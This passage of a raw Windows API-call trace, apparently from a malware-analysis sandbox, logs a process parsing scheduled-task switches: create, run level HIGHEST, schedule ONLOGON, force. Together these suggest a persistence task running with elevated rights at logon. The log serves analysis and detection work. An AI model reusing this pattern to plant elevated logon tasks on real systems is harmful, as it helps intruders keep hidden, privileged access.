returned 4 [0081.727] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.727] lstrlenW (lpString="|ec|") returned 4 [0081.727] lstrlenW (lpString="|rl|") returned 4 [0081.727] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0081.727] SetLastError (dwErrCode=0x490) [0081.727] lstrlenW (lpString="rl") returned 2 [0081.727] lstrlenW (lpString="rl") returned 2 [0081.727] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.727] lstrlenW (lpString="rl") returned 2 [0081.727] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.727] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.727] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.727] lstrlenW (lpString="|rl|") returned 4 [0081.727] lstrlenW (lpString="|rl|") returned 4 [0081.727] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0081.727] SetLastError (dwErrCode=0x0) [0081.727] SetLastError (dwErrCode=0x0) [0081.727] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] lstrlenW (lpString="-/") returned 2 [0081.728] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0081.728] SetLastError (dwErrCode=0x490) [0081.728] SetLastError (dwErrCode=0x490) [0081.728] SetLastError (dwErrCode=0x0) [0081.728] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0081.728] SetLastError (dwErrCode=0x490) [0081.728] SetLastError (dwErrCode=0x0) [0081.728] _memicmp (_Buf1=0x12d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.728] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] lstrlenW (lpString=" \x09") returned 2 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0081.728] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0081.728] GetLastError () returned 0x0 [0081.728] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] lstrlenW (lpString="HIGHEST") returned 7 [0081.728] SetLastError (dwErrCode=0x0) [0081.728] SetLastError (dwErrCode=0x0) [0081.728] lstrlenW (lpString="/f") returned 2 [0081.728] lstrlenW (lpString="-/") returned 2 [0081.728] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.729] lstrlenW (lpString="create") returned 6 [0081.729] lstrlenW (lpString="create") returned 6 [0081.729] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.729] lstrlenW (lpString="f") returned 1 [0081.729] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.729] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.729] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.729] lstrlenW (lpString="|create|") returned 8 [0081.729] lstrlenW (lpString="|f|") returned 3 [0081.729] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0081.729] SetLastError (dwErrCode=0x490) [0081.729] lstrlenW (lpString="?") returned 1 [0081.729] lstrlenW (lpString="?") returned 1 [0081.729] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.729] lstrlenW (lpString="f") returned 1 [0081.729] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.729] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|?|") returned 3 [0081.729] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.729] lstrlenW (lpString="|?|") returned 3 [0081.729] lstrlenW (lpString="|f|") returned 3 [0081.729] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0081.729] SetLastError (dwErrCode=0x490) [0081.729] lstrlenW (lpString="s") returned 1 [0081.729] lstrlenW (lpString="s") returned 1 [0081.729] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.729] lstrlenW (lpString="f") returned 1 [0081.729] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.730] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|s|") returned 3 [0081.730] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.730] lstrlenW (lpString="|s|") returned 3 [0081.730] lstrlenW (lpString="|f|") returned 3 [0081.730] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0081.730] SetLastError (dwErrCode=0x490) [0081.730] lstrlenW (lpString="u") returned 1 [0081.730] lstrlenW (lpString="u") returned 1 [0081.730] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.730] lstrlenW (lpString="f") returned 1 [0081.730] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.730] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|u|") returned 3 [0081.730] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.730] lstrlenW (lpString="|u|") returned 3 [0081.730] lstrlenW (lpString="|f|") returned 3 [0081.730] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0081.730] SetLastError (dwErrCode=0x490) [0081.730] lstrlenW (lpString="p") returned 1 [0081.730] lstrlenW (lpString="p") returned 1 [0081.730] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.730] lstrlenW (lpString="f") returned 1 [0081.730] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.730] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|p|") returned 3 [0081.730] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.730] lstrlenW (lpString="|p|") returned 3 [0081.730] lstrlenW (lpString="|f|") returned 3 [0081.730] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0081.730] SetLastError (dwErrCode=0x490) [0081.730] lstrlenW (lpString="ru") returned 2 [0081.731] lstrlenW (lpString="ru") returned 2 [0081.731] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] lstrlenW (lpString="f") returned 1 [0081.731] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ru|") returned 4 [0081.731] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.731] lstrlenW (lpString="|ru|") returned 4 [0081.731] lstrlenW (lpString="|f|") returned 3 [0081.731] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0081.731] SetLastError (dwErrCode=0x490) [0081.731] lstrlenW (lpString="rp") returned 2 [0081.731] lstrlenW (lpString="rp") returned 2 [0081.731] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] lstrlenW (lpString="f") returned 1 [0081.731] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rp|") returned 4 [0081.731] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.731] lstrlenW (lpString="|rp|") returned 4 [0081.731] lstrlenW (lpString="|f|") returned 3 [0081.731] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0081.731] SetLastError (dwErrCode=0x490) [0081.731] lstrlenW (lpString="sc") returned 2 [0081.731] lstrlenW (lpString="sc") returned 2 [0081.731] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] lstrlenW (lpString="f") returned 1 [0081.731] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.731] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.732] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.732] lstrlenW (lpString="|sc|") returned 4 [0081.732] lstrlenW (lpString="|f|") returned 3 [0081.732] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0081.732] SetLastError (dwErrCode=0x490) [0081.732] lstrlenW (lpString="mo") returned 2 [0081.732] lstrlenW (lpString="mo") returned 2 [0081.732] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.732] lstrlenW (lpString="f") returned 1 [0081.732] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.732] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|mo|") returned 4 [0081.732] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.732] lstrlenW (lpString="|mo|") returned 4 [0081.732] lstrlenW (lpString="|f|") returned 3 [0081.732] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0081.732] SetLastError (dwErrCode=0x490) [0081.732] lstrlenW (lpString="d") returned 1 [0081.732] lstrlenW (lpString="d") returned 1 [0081.732] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.732] lstrlenW (lpString="f") returned 1 [0081.732] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.732] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|d|") returned 3 [0081.732] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.732] lstrlenW (lpString="|d|") returned 3 [0081.732] lstrlenW (lpString="|f|") returned 3 [0081.732] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0081.732] SetLastError (dwErrCode=0x490) [0081.732] lstrlenW (lpString="m") returned 1 [0081.732] lstrlenW (lpString="m") returned 1 [0081.733] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] lstrlenW (lpString="f") returned 1 [0081.733] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|m|") returned 3 [0081.733] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.733] lstrlenW (lpString="|m|") returned 3 [0081.733] lstrlenW (lpString="|f|") returned 3 [0081.733] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0081.733] SetLastError (dwErrCode=0x490) [0081.733] lstrlenW (lpString="i") returned 1 [0081.733] lstrlenW (lpString="i") returned 1 [0081.733] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] lstrlenW (lpString="f") returned 1 [0081.733] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|i|") returned 3 [0081.733] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.733] lstrlenW (lpString="|i|") returned 3 [0081.733] lstrlenW (lpString="|f|") returned 3 [0081.733] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0081.733] SetLastError (dwErrCode=0x490) [0081.733] lstrlenW (lpString="tn") returned 2 [0081.733] lstrlenW (lpString="tn") returned 2 [0081.733] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] lstrlenW (lpString="f") returned 1 [0081.733] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.733] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.733] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.733] lstrlenW (lpString="|tn|") returned 4 [0081.734] lstrlenW (lpString="|f|") returned 3 [0081.734] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0081.734] SetLastError (dwErrCode=0x490) [0081.734] lstrlenW (lpString="tr") returned 2 [0081.734] lstrlenW (lpString="tr") returned 2 [0081.734] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.734] lstrlenW (lpString="f") returned 1 [0081.734] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.734] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.734] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.734] lstrlenW (lpString="|tr|") returned 4 [0081.734] lstrlenW (lpString="|f|") returned 3 [0081.734] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0081.734] SetLastError (dwErrCode=0x490) [0081.734] lstrlenW (lpString="st") returned 2 [0081.734] lstrlenW (lpString="st") returned 2 [0081.734] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.734] lstrlenW (lpString="f") returned 1 [0081.734] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.734] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|st|") returned 4 [0081.734] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.734] lstrlenW (lpString="|st|") returned 4 [0081.734] lstrlenW (lpString="|f|") returned 3 [0081.734] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0081.734] SetLastError (dwErrCode=0x490) [0081.734] lstrlenW (lpString="sd") returned 2 [0081.734] lstrlenW (lpString="sd") returned 2 [0081.734] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] lstrlenW (lpString="f") returned 1 [0081.735] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sd|") returned 4 [0081.735] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.735] lstrlenW (lpString="|sd|") returned 4 [0081.735] lstrlenW (lpString="|f|") returned 3 [0081.735] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0081.735] SetLastError (dwErrCode=0x490) [0081.735] lstrlenW (lpString="ed") returned 2 [0081.735] lstrlenW (lpString="ed") returned 2 [0081.735] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] lstrlenW (lpString="f") returned 1 [0081.735] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ed|") returned 4 [0081.735] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.735] lstrlenW (lpString="|ed|") returned 4 [0081.735] lstrlenW (lpString="|f|") returned 3 [0081.735] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0081.735] SetLastError (dwErrCode=0x490) [0081.735] lstrlenW (lpString="it") returned 2 [0081.735] lstrlenW (lpString="it") returned 2 [0081.735] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] lstrlenW (lpString="f") returned 1 [0081.735] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.735] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|it|") returned 4 [0081.735] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.735] lstrlenW (lpString="|it|") returned 4 [0081.736] lstrlenW (lpString="|f|") returned 3 [0081.736] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0081.736] SetLastError (dwErrCode=0x490) [0081.736] lstrlenW (lpString="et") returned 2 [0081.736] lstrlenW (lpString="et") returned 2 [0081.736] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.736] lstrlenW (lpString="f") returned 1 [0081.736] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.736] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|et|") returned 4 [0081.736] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.736] lstrlenW (lpString="|et|") returned 4 [0081.736] lstrlenW (lpString="|f|") returned 3 [0081.736] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0081.736] SetLastError (dwErrCode=0x490) [0081.736] lstrlenW (lpString="k") returned 1 [0081.736] lstrlenW (lpString="k") returned 1 [0081.736] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.740] lstrlenW (lpString="f") returned 1 [0081.740] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.740] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|k|") returned 3 [0081.740] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.740] lstrlenW (lpString="|k|") returned 3 [0081.740] lstrlenW (lpString="|f|") returned 3 [0081.740] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0081.740] SetLastError (dwErrCode=0x490) [0081.740] lstrlenW (lpString="du") returned 2 [0081.740] lstrlenW (lpString="du") returned 2 [0081.740] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.740] lstrlenW (lpString="f") returned 1 [0081.740] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.740] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|du|") returned 4 [0081.740] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.740] lstrlenW (lpString="|du|") returned 4 [0081.740] lstrlenW (lpString="|f|") returned 3 [0081.740] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0081.740] SetLastError (dwErrCode=0x490) [0081.741] lstrlenW (lpString="ri") returned 2 [0081.741] lstrlenW (lpString="ri") returned 2 [0081.741] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] lstrlenW (lpString="f") returned 1 [0081.741] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ri|") returned 4 [0081.741] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.741] lstrlenW (lpString="|ri|") returned 4 [0081.741] lstrlenW (lpString="|f|") returned 3 [0081.741] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0081.741] SetLastError (dwErrCode=0x490) [0081.741] lstrlenW (lpString="z") returned 1 [0081.741] lstrlenW (lpString="z") returned 1 [0081.741] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] lstrlenW (lpString="f") returned 1 [0081.741] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|z|") returned 3 [0081.741] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.741] lstrlenW (lpString="|z|") returned 3 [0081.741] lstrlenW (lpString="|f|") returned 3 [0081.741] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0081.741] SetLastError (dwErrCode=0x490) [0081.741] lstrlenW (lpString="f") returned 1 [0081.741] lstrlenW (lpString="f") returned 1 [0081.741] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] lstrlenW (lpString="f") returned 1 [0081.741] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.741] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.742] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.742] lstrlenW (lpString="|f|") returned 3 [0081.742] lstrlenW (lpString="|f|") returned 3 [0081.742] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0081.742] SetLastError (dwErrCode=0x0) [0081.742] SetLastError (dwErrCode=0x0) [0081.742] GetProcessHeap () returned 0x110000 [0081.742] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf20 [0081.742] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.742] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0081.742] lstrlenW (lpString="LIMITED") returned 7 [0081.742] GetProcessHeap () returned 0x110000 [0081.742] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d720 [0081.742] GetThreadLocale () returned 0x409 [0081.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0081.742] GetProcessHeap () returned 0x110000 [0081.742] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cef0 [0081.742] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.742] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0081.742] lstrlenW (lpString="HIGHEST") returned 7 [0081.742] GetProcessHeap () returned 0x110000 [0081.742] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d740 [0081.742] GetThreadLocale () returned 0x409 [0081.742] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0081.742] GetProcessHeap () returned 0x110000 [0081.742] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cec0 [0081.743] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.743] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0081.743] lstrlenW (lpString="MINUTE") returned 6 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d760 [0081.743] GetThreadLocale () returned 0x409 [0081.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce90 [0081.743] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.743] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0081.743] lstrlenW (lpString="HOURLY") returned 6 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d780 [0081.743] GetThreadLocale () returned 0x409 [0081.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce60 [0081.743] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.743] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0081.743] lstrlenW (lpString="DAILY") returned 5 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xc) returned 0x12d7a0 [0081.743] GetThreadLocale () returned 0x409 [0081.743] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0081.743] GetProcessHeap () returned 0x110000 [0081.743] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce30 [0081.743] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.743] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0081.743] lstrlenW (lpString="WEEKLY") returned 6 [0081.744] GetProcessHeap () returned 0x110000 [0081.744] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d7c0 [0081.744] GetThreadLocale () returned 0x409 [0081.744] CompareStringW (Locale=0x409, dwCmpFlags=0x1, 